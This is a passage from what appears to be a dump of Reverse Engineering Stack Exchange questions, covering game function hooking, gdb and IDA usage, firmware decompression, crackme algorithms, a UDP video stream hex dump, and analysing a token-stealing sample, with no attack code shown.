+  *(undefined8 *)(this + 8) = 0;
+  *(undefined8 *)(this + 0x10) = 0;
+  *(undefined8 *)(this + 0x18) = 0;
+  *(undefined8 *)(this + 0x20) = 0;
+  *(undefined8 *)(this + 0x28) = 0;
+  *(undefined8 *)(this + 0x30) = 0;
+  *(undefined8 *)(this + 0x38) = 0;
+  *(undefined8 *)(this + 0x40) = 0;
+  *(undefined8 *)(this + 0x48) = 0;
+  *(undefined8 *)(this + 0x50) = 0;
+  return this;
+}
+
+My version, game.h: +
namespace gladius {
+    struct Game {
+        //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);
+
+        using GameConstructor = Game * (__fastcall*) (Game* thisptr);
+        GameConstructor gameConstructor;
+
+        using GameMain = __int64(__fastcall*) (gladius::Game* thisptr, int param_1, char** param_2, char** param_3);
+        GameMain gamemain;
+
+        using Initialize = void(__fastcall*) (gladius::Game* thisptr, int a2, char** a3, char** a4);
+        Initialize initialize;
+
+        using Quit = void(__fastcall*) (gladius::Game* thisptr);
+        Quit quit;
+
+        DWORD_PTR* guiObjPtr = 0;
+
+        DWORD_PTR* unknownPtrA = 0;
+
+        DWORD_PTR* unknownPtrB = 0;
+
+        DWORD_PTR* unknownPtrC = 0;
+
+        DWORD_PTR* unknownPtrD = 0;
+
+        DWORD_PTR* unknownPtrE = 0;
+
+        DWORD_PTR* unknownPtrF = 0;
+    };
+
+The game.cpp looks like this: +
#include "game.h"
+
+namespace gladius {
+    static std::array<Game, 1> functions = { {
+            // Steam
+                Game{
+
+            (Game::GameConstructor)(AddressHelper::getInstance().GetBaseAddress() + 0x331b0 / (2 * sizeof(DWORD))),
+
+            //  (Game::GameMain)0x140039ea0,            
+            (Game::GameMain)(AddressHelper::getInstance().GetBaseAddress() + 0x39EA0 / (2 * sizeof(DWORD))),
+            
+            //(Game::Initialize)0x140033e20,
+            (Game::Initialize)(AddressHelper::getInstance().GetBaseAddress() + 0x33E20 / (2 * sizeof(DWORD))),
+
+            //(Game::Quit)0x14003a0e0
+            (Game::Quit)(AddressHelper::getInstance().GetBaseAddress() + 0x3A0E0 / (2 * sizeof(DWORD)))
+         }
+
+    } };
+
+    Game& get()
+    {
+        return functions[0];
+    }
+}
+
+As per discussion in comments, how to change the above game.h and game.cpp files to make a proper constructor for my Game structure? +The way I do it now is: +
    gladius::Game gameObj;
+
+    gladius::Game::Game(gameObj);
+
+And the element of that object can be accessed this way: gameObj.guiObjPtr +But apparently gladius::Game* thisptr1 = &gameObj; +is not equivalent to gladius::Game* thisptr, which is passed to the hooked function. +I.e. thisptr is initialised properly with all of the addresses and thisptr1 is not accepted by the member functions. +And that is strange considering that the way the hooked function is called is simply this: +
  Game local_68 [96];
+  
+  gladius::Game::Game(local_68);
+  iVar1 = gladius::Game::main(local_68,param_1,param_2,param_3);
+
+Where local_68 is essentially the new gameObj. It is passed to main as a pointer somehow and that part I don't understand. +And the way how the hooked function signature looks like this: +
__int64 __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3)
+    
+
+" +"['debugging', 'gdb', 'python', 'dynamic-analysis']"," Title: PEDA: Don't show contextBody: gdb-peda shows a very useful context each time it stops (b, si, etc.), but sometimes I don't want it. Is there any way to quiet it so it won't show the context automatically (unless prompted context)? +-- +

UPDATE

+Since there's no out of the box answer, I'll take, for the bounty, a custom or roll-your-own solution (e.g. a script or special command). +" +"['disassembly', 'assembly', 'x86', 'memory', 'operating-systems']"," Title: How to reverse engineer a setjmp/longjmp sequence?Body: I'm trying to reverse engineer the GNU libc x86 (32 bit) setjmp / longjmp (re a vuln which may allow arbitrary overwrite of the jmp_buf env. +There's a great writeup of the musl setjmp but I can find almost nothing online about the GNU. I've tried to navigate the source, but it's a spaghetti ball of macros, probably due to being so sys dependent. The asm is unusual, using things like: +
CALL       dword ptr GS :[0x10 ]
+
+which I don't fully understand (I thought segments were for 16 bit 8088 code! What is the GS:?). +A priori, I would expect that setjmp would simply save a few registers, but it seems much more complicated. I've found posts claiming GNU intentionally obfuscates it, either to prevent programmers from relying on internals, or for some security purpose, both of which I'm skeptical of. +Experimenting with a debugger has shown one thing: the jmp_buf env changes with each invocation, such as that even the same program, with the same params, and the same stack pointers, if you're using a debugger to load the jmp_buf from one invocation into another you get a SIGV. The contents are clearly not a pure function of the program and stack, but somehow change (randomly?) with each invocation. +Are any of the crack REs here able to penetrate setjmp? +" +"['debugging', 'x64dbg']"," Title: How to decrypt/decode the strings found in desktop application with x64dbg?Body: I'm a beginner and I have no experience at all in Reverse Engineering. I want to study it so find the "string" references, but all I get is some incomprehensible strings which are probably encoded or something like that. +I'm searching for a string: OK! Expires: +Is there a way to decode them so they became readable ? +Here is what I got so far by search for a string references in All modules: + +I tried to start debugging, which was working today, but now suddenly it denies to work. Each time I attach the running app, it gives me an error (I've censored the application name for some reason): + +" +"['c++', 'linux', 'gdb']"," Title: Passing a String into a Function With GDBBody: So, I have a function with the prototype according to GDB: +
{std::string (std::string)} 0x56027729e545
+     <function(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)>
+
+and I would like to pass a string into it using GDB. To attempt this, I've used the following GDB commands to create a new string on the heap. +
set $mystr = (std::string*) malloc(sizeof(std::string))
+call $mystr->basic_string()
+call $mystr->assign("foobar")
+call (std::string) function(*$mystr)
+
+In the last line, I am getting the error +
+
Couldn't find method std::string::std::string. 
+
+
+Any ideas? +Unfortunately, I can't modify the code to fix this. +" +"['decompilation', 'decompile', 'decompiler']"," Title: Decompile a NodeJS compiled program maybe by NEXEBody: I recently got idiotly scammed one of my discord account but kept the malware in case. +Curious, I would love today to break into the executable to fetch any information about the scammer. +I decompiled the program using IDA, and found out it was a NodeJS program. +However, I still can't find the actual code of the scammer that took my token... I am sure he is calling a webhook, connecting to a bot or something that leave his token in it. +I can see in IDA multiple calls to a folder named .nexe/ which looks to me like the name of the compiler used: nexe. +Does anyone have tips to decompile a NodeJS application? I'm barely new in the reverse engineering, so if anybody could let me tips to decompile it... +I don't know if nexe obfuscates the code, if there is better decompiler apps for NodeJS executable. +" +"['windbg', 'stack']"," Title: Call stack in Windbg address with no modules associatedBody: I've been working on figuring out the stack from a minidump [1]; but have put that on hold as I had other things to figure out. Coming back to this problem, I figured I'd go back and use Windbg to help me with this. I think I am on the right track. +Using Windbg and showing the call stack, I don't understand a few lines that do not have addresses not associated to any known modules in the lm list. +For example: +
...
+2a 0017ce64 61500ad3 cxt+0x3280ad3
+2b 0017ce98 61500ad3 cxt+0x32c0d8e
+2c 0017d500 0f026cf0 0x168d6f12
+2d 0017d56c 168d094f 0xf026cf0
+2e 0017d5a8 6154b791 cxt+0x32cb781
+...
+
+From lm it shows a list of available modules, amongst which cxt is there with base image. But the address listed in frame 2c and 2d don't belong to any particular module. There are similar lines further down in the call stack. +I don't have the symbols available. I doubt this is the issue since a module has a base image and a size (and thusly an ending address). If the two strange addresses don't belong to the range within the module in memory, it isn't part +of the module. (I would think). +There's a lot of knowledge I'm missing, so I appreciate if someone can enlighten me as to what I'm missing. +Thanks! +Ed +" +"['arm', 'hopper', 'macos', 'aarch64']"," Title: Hopper Disassembler AArch64 assemble instruction syntax errorBody: +As the screenshot shown above, I attempt to change cbz to cbnz, hopper gives me "syntax error". +At this moment I can only change it by editing the instruction encoding in hex view as a workaround. +Any idea? +" +"['binary-analysis', 'x86', 'tools', 'binary', 'patching']"," Title: Binary diff + patching across versionsBody: What are the current options for binary patching which works across different versions of the binary? +E.g. we created a binary patch for a specific version of a binary and want to apply that patch to another version of a binary which is slightly different to the original binary but identical in the 'area' (the function which needs to be patched)? +Of course this won't work in every case, but a good-enough solution for x64 would be fine. +Are there any tools, frameworks etc. available? +" +['android']," Title: Video Packets via UDP - How to decode or identify video format?Body: I'm working with a cheap wireless video transmitter and receiver system that uses an Android App to receive the video over WiFi. +We want to be able to identify where the stream is coming from to be able to play it in VLC or some other desktop player from a laptop. +After some digging - I've discovered that there are UDP packets being sent from the wireless transmitter to the connected device after an initial packet is sent. +So a UDP socket opens on port 9000 and the device can start receiving UDP packets which are sent in large volumes (I couldn't find any other kind of activity so I'm presuming that this is the video stream). +Node.js code to receive this below: +
    var server = udp.createSocket('udp4');
+    server.on('message',function(msg,info){
+      console.log('Data received from client server: ');
+      console.log('Received %d bytes from %s:%d\n',msg.length, info.address, info.port);
+    });
+    server.bind(9000);
+
+This will get a list of UDP packets appearing in the Node console. And I can see them in Wireshark. +Things I've already tried: +
    +
  • Various FFMpeg commands on the UDP address.
  • +
  • Playing the UDP address in VLC directly.
  • +
+Wireshark just identifies them as UDP packets, but the dump of hex + ASCII is below: +
0000   9c da 3e f8 24 51 44 01 bb 62 7b 3f 08 00 45 00   ..>.$QD..b{?..E.
+0010   05 7a 57 57 40 00 40 11 44 5e c0 a8 0c 01 c0 a8   .zWW@.@.D^......
+0020   0c 6c 23 28 23 28 05 66 c7 1f 80 60 dc eb 30 f6   .l#(#(.f...`..0.
+0030   f8 58 00 00 00 0a 1c 00 b6 a4 25 c8 e2 80 c8 ac   .X........%.....
+0040   42 35 79 1d 32 28 f3 20 86 0c eb ff fb c9 85 06   B5y.2(. ........
+0050   84 e4 cd 82 30 d9 4d bc 20 a1 04 cd bf f6 db ed   ....0.M. .......
+0060   91 46 8c c9 82 e9 0c 98 5c 28 3f ff f0 f7 59 09   .F......\(?...Y.
+0070   04 cc 35 9c 3c b8 14 24 11 01 e5 a9 f4 fe df b4   ..5.<..$........
+0080   a4 84 ce 6c 57 0a f8 20 e0 28 c7 27 e7 c4 30 be   ...lW.. .(.'..0.
+0090   fb df c0 3a 41 7e bb 8a cb 92 e6 2d ec 76 9f 76   ...:A~.....-.v.v
+00a0   ff 71 fa 5e 22 f7 ae af 04 df fd 80 32 39 5b 20   .q.^".......29[ 
+00b0   00 67 01 af f9 fe 45 d8 12 bc 9c be 14 57 bb a7   .g....E......W..
+00c0   c1 fd dc 7e 0b df ff b8 ad 70 97 f3 f0 a9 20 42   ...~.....p.... B
+00d0   b2 1f 5b 7a d7 c9 d3 ee 59 95 c7 5f fe 84 65 f4   ..[z....Y.._..e.
+00e0   8b 9e d3 dc a9 a9 a8 b4 9b ed 0b 35 b3 6e df 8b   ...........5.n..
+00f0   dd dc c4 38 db a1 a4 24 07 73 24 04 2a 4e 49 80   ...8...$.s$.*NI.
+0100   6f 28 6a 90 40 90 40 18 3a 34 ff ff fd 9b d8 2c   o(j.@.@.:4.....,
+0110   e3 3a ce 0b 68 17 62 30 48 02 b4 4c 0f 43 7e 83   .:..h.b0H..L.C~.
+0120   76 d0 71 e1 c3 a9 44 fe 22 b2 08 d1 95 7e 09 2c   v.q...D."....~.,
+0130   c5 81 57 d6 b5 b3 80 5a 4d 83 8c 1c 6d 1c 79 be   ..W....ZM...m.y.
+0140   ae 9b d2 2e 71 85 15 fe f7 89 50 4b 3c 21 df d7   ....q.....PK<!..
+0150   de 15 24 27 6a 97 d6 bf fd 09 92 09 df 5b 49 b6   ..$'j........[I.
+0160   f6 ff ff f9 fe 40 50 7c 81 7e ee e9 7d 0a 61 10   .....@P|.~..}.a.
+0170   43 bb 5f ff 7b f7 ff 09 3b 84 8a be dd ba 61 45   C._.{...;.....aE
+0180   7d ee c8 50 90 10 f4 bb 1f fe 9f ca 14 70 64 d0   }..P.........pd.
+0190   7f fd 74 f2 3a 88 72 7a 93 15 91 7f ff f2 02 1f   ..t.:.rz........
+01a0   04 8b 5d b6 b5 ac c0 cc 2d 26 86 50 38 50 8a c5   ..].....-&.P8P..
+01b0   e5 73 cc 18 e8 15 1c 0c c0 f5 f9 d5 2a 65 69 d2   .s..........*ei.
+01c0   0b c4 a9 1a f0 62 7d 9f b8 03 50 f5 d3 6c 39 c5   .....b}...P..l9.
+01d0   2b 1f 78 cb 6c f6 f7 8c 2d de e5 c9 c0 b0 91 0d   +.x.l...-.......
+01e0   4a cb 97 ad d3 77 77 cf 1d 88 c0 7c 9a 46 3a 74   J....ww....|.F:t
+01f0   22 38 a0 c8 e2 1e 47 15 93 88 fd 10 48 4e 08 23   "8....G.....HN.#
+0200   cb 49 8f d0 a4 89 48 ae 4e f9 15 c9 8e a1 90 90   .I....H.N.......
+0210   36 c9 01 04 81 9f 93 bf 85 3d 02 84 19 6c 65 5b   6........=...le[
+0220   ef d3 6f 34 85 3a 25 0f 21 46 73 7e dd bd fa ff   ..o4.:%.!Fs~....
+0230   81 8a 57 b0 98 d6 ff 3f 08 61 10 22 ac ff ee fc   ..W....?.a."....
+0240   98 60 06 4c 7a 4e 76 86 c4 5a 37 5d fe b4 ba 53   .`.LzNv..Z7]...S
+0250   e6 74 d2 d9 9b d2 ba 54 b4 f7 e1 12 1c 11 93 28   .t.....T.......(
+0260   b3 ff de ff ff fb 04 16 f7 13 a4 fd 33 9a 6e 2a   ............3.n*
+0270   93 42 86 6f 6f 6f 36 7f c7 a7 c8 86 f7 be 19 7a   .B.ooo6........z
+0280   ef ad a2 30 c3 23 cb d1 20 28 c8 eb 20 19 a2 4a   ...0.#.. (.. ..J
+0290   59 f6 6d dc 2c e5 ed 77 dd e1 f8 a5 0e bb 13 d3   Y.m.,..w........
+02a0   77 bc 45 26 55 8c 62 48 76 da 47 0c 52 02 18 01   w.E&U.bHv.G.R...
+02b0   d7 96 33 71 f5 d7 fa ac dd b0 a2 80 0b bf a3 21   ..3q...........!
+02c0   a0 b6 fd dd cf 41 9f f4 64 cf 7f a6 de fc bd fd   .....A..d.......
+02d0   1e 0e b5 77 97 b7 ea 6c cb 7b bd 7f 68 7f 90 46   ...w...l.{..h..F
+02e0   7f 36 76 d5 cc 37 1d 42 ac c0 20 3d 65 57 df f7   .6v..7.B.. =eW..
+02f0   f5 b5 21 c3 40 00 a3 53 fb d4 d9 df 34 c4 d1 9c   ..!.@..S....4...
+0300   f5 37 34 f2 b3 4c 9c aa cf c5 f2 e5 13 a5 48 61   .74..L........Ha
+0310   ef fa 3d 1c ac 79 b2 a6 d9 97 08 c6 b6 e8 0d 17   ..=..y..........
+0320   1a 43 3f 3d 3e ea d7 a5 d3 6d 32 b0 ba 7f 9f e1   .C?=>....m2.....
+0330   76 9d fc 29 0f d0 22 eb 8b 99 fb cd 71 e6 de 78   v..)..".....q..x
+0340   2f 7d f4 de ab ac 67 87 2e 93 59 72 fd d1 5e ec   /}....g...Yr..^.
+0350   0c ce 78 44 84 00 8c d6 f6 6b 72 2b bc 69 45 7b   ..xD.....kr+.iE{
+0360   7b 80 f1 0f d7 29 df 4a ef 97 16 d2 ae db 88 72   {....).J.......r
+0370   2f 67 31 3a 77 7f 77 74 da e6 e0 26 08 01 ae 18   /g1:w.wt...&....
+0380   3d 6e 4d eb db df 80 47 c6 8d b2 0a 96 a7 2b df   =nM....G......+.
+0390   7f d0 a2 80 1a ed 21 fd 1f 97 f6 ff f9 57 c6 1a   ......!......W..
+03a0   5a 39 05 5a 5a 56 f5 f3 d7 f0 03 cd 06 75 85 eb   Z9.ZZV.......u..
+03b0   5a 8b 16 3f 0f c0 f3 20 27 f4 e9 bf 0f f5 3f 89   Z..?... '.....?.
+03c0   bf ee bc 8e 08 8a 1d b0 ae 7e 23 04 25 75 4f 22   .........~#.%uO"
+03d0   86 46 42 62 1c 26 06 f6 80 51 c0 31 a1 b5 67 f7   .FBb.&...Q.1..g.
+03e0   fb de f9 10 70 f0 0c 12 f4 db 9f 6d 37 f6 d1 8e   ....p......m7...
+03f0   aa 7a 4d 82 81 d2 ed 8f 29 b7 29 a4 ee 9d 58 7a   .zM.....).)...Xz
+0400   a2 c9 97 a5 07 1a 20 18 76 23 a7 eb d7 4f 26 14   ...... .v#...O&.
+0410   06 81 07 2f ff af e1 0c 40 ff ff d6 47 0b 39 13   .../....@...G.9.
+0420   0a 0b 21 0e 4b e9 38 8c b4 79 14 19 34 01 0c 50   ..!.K.8..y..4..P
+0430   6b ff fc 98 11 db 12 2a 26 3d 99 31 72 61 38 aa   k......*&=.1ra8.
+0440   70 87 09 55 5b d4 98 4e 92 93 2e 93 05 3c 68 20   p..U[..N.....<h 
+0450   48 12 1c 25 ba ad 7f eb 50 a2 88 58 a7 ff fb 44   H..%....P..X...D
+0460   28 6d 11 09 64 c1 66 43 ff fe 40 fe 6f ff 66 a5   (m..d.fC..@.o.f.
+0470   9a 0c 47 af cd ed ed b6 d8 6c 2a 05 eb fe 1a db   ..G......l*.....
+0480   9c 2d 6a 89 38 fc 9d 72 fe 5c 10 ff 5f d8 15 d6   .-j.8..r.\.._...
+0490   3f 8c ee 36 64 98 79 ac 48 de e9 4a 2b cb f7 dd   ?..6d.y.H..J+...
+04a0   6b fc 15 d8 88 64 4d e0 49 c6 7c 58 5c b9 c6 96   k....dM.I.|X\...
+04b0   8d e9 da 57 7d e5 e2 b7 dc c2 0b d7 f7 fe 45 22   ...W}.........E"
+04c0   78 f8 7a 3e 2b 77 bd f7 bb c7 18 a1 1d 40 d7 a4   x.z>+w.......@..
+04d0   8a 25 4b 7f 88 24 16 68 4f a2 09 2f b5 92 18 65   .%K..$.hO../...e
+04e0   82 18 21 36 b2 af fd 17 c2 18 26 1e a9 ff ed fd   ..!6......&.....
+04f0   bb 37 8b 40 b1 91 98 6a 47 15 d6 24 9e b1 54 08   .7.@...jG..$..T.
+0500   5f d0 fb e0 51 d7 fd 50 70 17 8c b4 cd 80 08 6f   _...Q..Pp......o
+0510   25 1a 0c a1 ee e1 e4 9d d7 e4 19 65 cb b8 d5 b8   %..........e....
+0520   eb a4 fe f7 bb b8 a5 0c 54 28 b2 eb 08 92 15 1b   ........T(......
+0530   9f 7b ff 9c 90 76 df c4 e0 6b 72 0e d0 a3 80 60   .{...v...kr....`
+0540   94 3b 16 7c 57 7f bf d1 2a 12 09 9e da 20 90 a3   .;.|W...*.... ..
+0550   cf 23 97 88 d2 d4 8e 91 31 95 26 2f fb 5b ca 0f   .#......1.&/.[..
+0560   18 33 2a df 08 46 48 1f e4 be 1c 9d 40 09 8a c1   .3*..FH.....@...
+0570   22 80 11 53 c9 a1 bf 6f e5 be 07 a1 ac 5b f7 b8   "..S...o.....[..
+0580   f9 3c 72 ca 5d c0 91 b3                           .<r.]...
+
+I'm now at a complete loss as to how I can actually get this stream to play on any device other than an Android/iOS app that the transmitter normally works with. +Any ideas on what my next steps might be to try and work this one out? +" +['ida']," Title: Is this algorithm reversible?Body: I'm trying to solve a Crackme challenge. It takes my input password and makes the following operations. +Finally, it compares the output with 0x1928F914 +How to reverse this algorithm to get a valid password. +
  Result = 0;
+  for ( counter = 0; counter < 10; ++counter )
+    Result = __ROR4__(Result, 9) ^ *(counter + Passwd);
+  return Result;
+
+" +"['debugging', 'gdb']"," Title: Connect remotely with GDBSERVER to pidBody: When I run gdbserver to listen for port and connect remotely with gdb: +Gdbserver command: +gdbserver --multi 0.0.0.0:4444 +Gdb command: +target remote 192.168.1.99 4444 +In gdb . How can I connect to pid with pidof(PROCESS_NAME) ? +" +"['disassembly', 'firmware']"," Title: Reverse compression of QDSP6 modem filesBody: I'm trying to reverse a qdsp6 modem file but I'm stuck with the (probably) compressed segments. +There is also a third compressed segment which simply uses zlib but the other two are not recognized by binwalk. I also compared the header to the compressed segments of a Pixel 2 modem firmware. Pixel 2 uses q6zip and delta (as mentioned here and maybe here), but not even the first bytes of those segments match. +Also searched for both segments offsets in the binary, but they can't be found as immediate. So simply looking for them to find the decompression function isn't possible. +The entropy of them looks like that: +modem.b26 + +Binwalk mentions parity information, but it is in the area of high entropy. So maybe it is a false positive?: +
> binwalk modem.b26
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+25953729      0x18C05C1       MPEG transport stream data
+29114525      0x1BC409D       PARity archive data - file number 16432
+
+The first few bytes are: +
> xxd -c 16 modem.b26  | head -n 3
+00000000: 3c9b 9ed4 bb7b 281c 050f 8a9c d875 4130  <....{(......uA0
+00000010: 801d 8619 2c17 8028 2ea1 bbee db57 0160  ....,..(.....W.`
+00000020: e17c 846c 2a18 14c8 2db0 20ae f952 0041  .|.l*...-. ..R.A
+
+modem.b28 + +
    +
  • Binwalk returns nothing.
  • +
+The first few bytes are: +
> xxd -c 16 modem.b28  | head -n 3
+00000000: 1200 0000 4c00 59ce 3c11 59ce 3c22 59ce  ....L.Y.<.Y.<"Y.
+00000010: 3c33 59ce 3c44 59ce 3855 59ce f465 59ce  <3Y.<DY.8UY..eY.
+00000020: bc76 59ce bc87 59ce bc98 59ce bca9 59ce  .vY...Y...Y...Y.
+
+Do you have any idea how to proceed to decompress those segments? +" +"['protocol', 'bluetooth']"," Title: Reversing DALY BMS BLE protocolBody: I am trying to communicate with the DALY BMS (Battery management system) via BLE. +I was wondering if anyone has any bit of information regarding their protocol, something to start with? +" +"['binary-analysis', 'firmware']"," Title: Reverse engineering STM32F303 firmware udpateBody: I have an .exe file, which connects via USB to a STM32F303 peripheral with unknown firmware. The .exe is able to update the STM32 firmware via the USB. The firmware update is also provided, and its extension is .fwu (I would assume that stands for firmware update). +I have no knowledge on what bootloader is used in the STM32. Unfortunately I don't have the peripheral itself. My insights on the .exe are also quite limited, as it will not work if the peripheral is not connected; all I know is that it attaches to the STM32, which provides a virtual COM port. +What I did so far: +
    +
  • Ran binwalk on the firmware update - no hits
  • +
  • Tried to extract .bin file from the firmware update, hoping that it is a plain .dfu file - failed
  • +
  • Ran strings on the firmware update - no hits. Maybe the file is encrypted - here's the entropy analysis result:
  • +
+
    DECIMAL       HEXADECIMAL     ENTROPY
+    --------------------------------------------------------------------------------
+    0             0x0             Rising entropy edge (0.974136)
+    36864         0x9000          Falling entropy edge (0.838064)
+
+
    +
  • Did same on the .exe - it is not encrypted, strings are plain text
  • +
+My aim here is to see what is the protocol used between the .exe and the STM32; that would have been easier if I had the peripheral, but I have no way of obtaining it at the moment. Initially I thought I would be able to reverse-engineer the firmware update and flash my own device, but the (probably) custom bootloader is stopping me. +I'd like to hear suggestions on how to proceed with the analysis.
+Thanks. +" +"['firmware', 'binary']"," Title: Reverse Engineering CHALLENGEBody: I have a BIN firmware archive file starts with 04 02 which is unknown to me +what makes me sure it is an archive file is the source I got it from +BINWALK and all other known tools failed to identify single information from the file. +Any suggestions? +" +"['ida', 'c++']"," Title: IDA does not load PDB fileBody: I have C++ project compiled (debug) with Visual Studio 2019, and I have IDA 5.0 Free version. When I load my .EXE file, IDA does not load correspond PDB file and return message: PDB total 0 symbol loaded. What is the matter? I need load PDB file. But if I compile my project with Visual Studio 2005 that PDB file is success loaded. +" +"['ida', 'disassembly', 'strings']"," Title: How to change string-detection rule in IDA Pro?Body: I'd like to debug a Firmware (ARM-based) which contains a lot of C-Strings. IDA Pro 7.2 seems to have problems detecting strings having special chars (above 7-Bit ASCII) in it. Here is one example of the Spanish word "navegación", which has an diacritics "o" in it: +
MAIN:0007AE4D                 DCB 0x4E ; N
+MAIN:0007AE4E                 DCB 0x61 ; a
+MAIN:0007AE4F                 DCB 0x76 ; v
+MAIN:0007AE50                 DCB 0x65 ; e
+MAIN:0007AE51                 DCB 0x67 ; g
+MAIN:0007AE52                 DCB 0x61 ; a
+MAIN:0007AE53                 DCB 0x63 ; c
+MAIN:0007AE54                 DCB 0x69 ; i
+MAIN:0007AE55                 DCB 0xF3
+MAIN:0007AE56                 DCB 0x6E ; n
+MAIN:0007AE57                 DCB    0
+
+You see that 0xF3 is a valid ASCII char (ISO Latin-1), but IDA does not detect it as a valid char. If i now press "a" on the first letter (or let IDA doing a string detection), i would end up with this: +
MAIN:0007AE4D aNavegaci       DCB "Navegaci"
+MAIN:0007AE55                 DCB 0xF3
+MAIN:0007AE56                 DCB 0x6E ; n
+MAIN:0007AE57                 DCB    0
+
+It see's the char as if it where a string-termination char. +How can i get IDA to as least ignore such special chars and just rely on my setting to show strings in C-Style (0x00 terminated)? +" +"['ida', 'decompilation', 'c++', 'hexrays']"," Title: Hex-rays decompiler incorrect logicBody: I'm practicing reverse engineering in IDA and I created an example application in Visual C++ to practice working with classes/structs and the decompiler output seems to be incorrect - I would like to know if it's possible to fix this to get a closer to correct decompiled result or whether this is simply a limitation of the decompiler. +
#include <iostream>
+#include "exstruct.cpp"
+
+int main()
+{
+    int x, y;
+    std::cin >> x;
+    std::cin >> y;
+    calculator c(x, y);
+    std::cout << c.multiply() << "\r\n";
+}
+
+I compiled with the Visual C++ compiler with optimizations turned off and after defining the functions and data structures, the hex-rays decompiler spits out this: +
int __cdecl main(int argc, const char **argv, const char **envp)
+{
+  char *newline; // ST04_4
+  int cout; // eax
+  Calculator calculator; // [esp+4h] [ebp-18h]
+  int x; // [esp+10h] [ebp-Ch]
+  int y; // [esp+14h] [ebp-8h]
+
+  std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &x, calculator.x);
+  std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &y, calculator.y);
+  Calculator_constructor(&calculator, x, y);
+  calculator.x = (int)new_line_string;
+  newline = (char *)Calculator_multiply(&calculator);
+  cout = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cout);
+  printf(cout, (int)newline);
+  return 0;
+}
+
+It all looks pretty good up until it assigns the new line string \r\n to calculator.x and then the result of the multiplication to the newline variable, which is wrong for obvious reasons. +I've reviewed the assembly and this is simply not what happens. A snippet of the assembly below: +
.text:00701088                 lea     ecx, [ebp+calculator] ; this
+.text:0070108B                 call    Calculator_constructor
+.text:00701090                 push    offset new_line_string ; this
+.text:00701095                 lea     ecx, [ebp+calculator] ; this
+.text:00701098                 call    Calculator_multiply
+.text:0070109D                 push    eax
+.text:0070109E                 mov     ecx, ds:?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::basic_ostream<char,std::char_traits<char>> std::cout
+.text:007010A4                 call    ds:??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z ; std::basic_ostream<char,std::char_traits<char>>::operator<<(int)
+.text:007010AA                 push    eax
+.text:007010AB                 call    printf
+
+It looks to me like the decompiler is getting confused because the pointer to \r\n literal push happens before the multiply call, making it look like an argument where it actually is not. +Is there anyway I can fix this? +Full assembly is here. +exstruct.cpp as text: +
class calculator
+{
+public:
+    int x;
+    int y;
+    int z;
+
+    calculator(int x, int y)
+    {
+        this->x = x;
+        this->y = y;
+        this->z = x + y;
+    }
+
+    int multiply()
+    {
+        return this->x * this->y;
+    }
+};
+
+Constructor & Multiply Source & Decompiled Source: +. +Notes: +
    +
  • Hex-Rays Decompiler v7.0.0.170914
  • +
  • I manually increased the size of the function to 1C as it wasn't originally detecting newline as a field
  • +
  • I manually defined the location of \r\n in memory as a string
  • +
+" +"['ida', 'c++', 'static-analysis', 'vtables']"," Title: What is ""nullsub_XXX"" in vtable in IDABody: When I looking in a vtable structure in IDA pro, I know that ___cxa_pure_virtual means that the function is virtual. +But what does nullsub_XXX mean in a vtable structure? +" +"['ida', 'idapython']"," Title: Find all x-ref with specific argument with IdaPythonBody: I have a function at 0xabcd that is called a few times like Func(1,2,3) and Func(4,4,5). +I want to find all the references where the third argument is 5. +
import idautils
+for f in list(idautils.XrefsTo(0xabcd)):
+
+How can I get the third argument from all the x-ref with IDAPython? +" +"['ida', 'static-analysis']"," Title: Split variable in Ida Pesudo CodeBody: Sometime the meaning of variable has been changed on the function. +For example from Ida pseudo code: +
a = price
+....
+a= tax....
+
+In the beginning of function a was price and after that a is tax. +How can I split a to 2 different variable so I can rename this variable in Ida Pro +" +"['ghidra', 'java']"," Title: Ghidra: Iterating over function's codeUnits returns only 1st instructionBody:
    public void run() throws Exception {
+        var cp = currentProgram;
+        var nsSymbols = ghidra.app.util.NamespaceUtils.getSymbols("myNameSpace", cp);
+        var glNS = nsSymbols.get(0);
+        var st = cp.getSymbolTable();
+        var childs = st.getChildren(glNS);
+        Map<String, Integer> map = new HashMap<String, Integer>();
+        println("Test");
+        while (childs.hasNext())
+        {
+            var next = childs.next();
+            var func = (Function)next.getObject();
+            var body = func.getBody();
+            var lbcu = cp.getListing().getCodeUnits(body, true);
+            var i = 0;
+            while (lbcu.hasNext())
+            {
+                lbcu.next();
+                i++;
+            }
+            println("Name: " + next.getName() + ", count: " + i);
+        }
+
+Results I get: +
NewScript.java> Name: CreateTypeInstance, count: 1
+NewScript.java> Name: Deserialize, count: 1
+
+This does not make any sense to me. The listing clearly show more instructions and I can see whole decompiled view yet API return some garbage? +" +"['debugging', 'linux', 'gdb', 'memory', 'heap']"," Title: How can I find out the size of heap allocations?Body: While I debug with GDB I see the address of a buffer that's located on the heap. +How can I know what is the size of this buffer? Or where (in the code) this buffer was originally allocated? +When I place a breakpoint on the new function to find out the allocation the process significantly slows down, making debugging difficult. +" +"['debugging', 'gdb', 'dynamic-analysis', 'call', 'trace']"," Title: Adding ltrace information to gdbBody: I'd like to run gdb (or gdb-peda) with ltrace like info on each syscall. How can I do that? +I know that, as per ltrace and gdb attach to same process , you can't actually attach ltrace and gdb to the same process. But, once a process is under gdb, it should be fairly straightforward to catch each lib call and print out its args and return vals, just like ltrace does. +In fact, it would be possible, and valuable, to go a step further: run gdb or gdb-peda, and print out every call (not just lib calls, with params and return val. How can I do this? +" +"['c++', 'dll', 'function-hooking', 'dll-injection', 'api-reversing']"," Title: How to declare a constructor in reversed class?Body: I wonder how to declare the reference to a constructor to a reversed class, i.e. I have a class say Game and it has a constructor at a certain address. +It is declared like this: +game.h +
namespace gladius {
+    struct Game {
+        //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);
+
+        using GameConstructor = Game * (__fastcall*) (Game* thisptr);
+        GameConstructor gameConstructor;
+
+..........
+
+}
+
+game.cpp +
namespace gladius {
+    static std::array<Game, 1> functions = { {
+                Game{
+
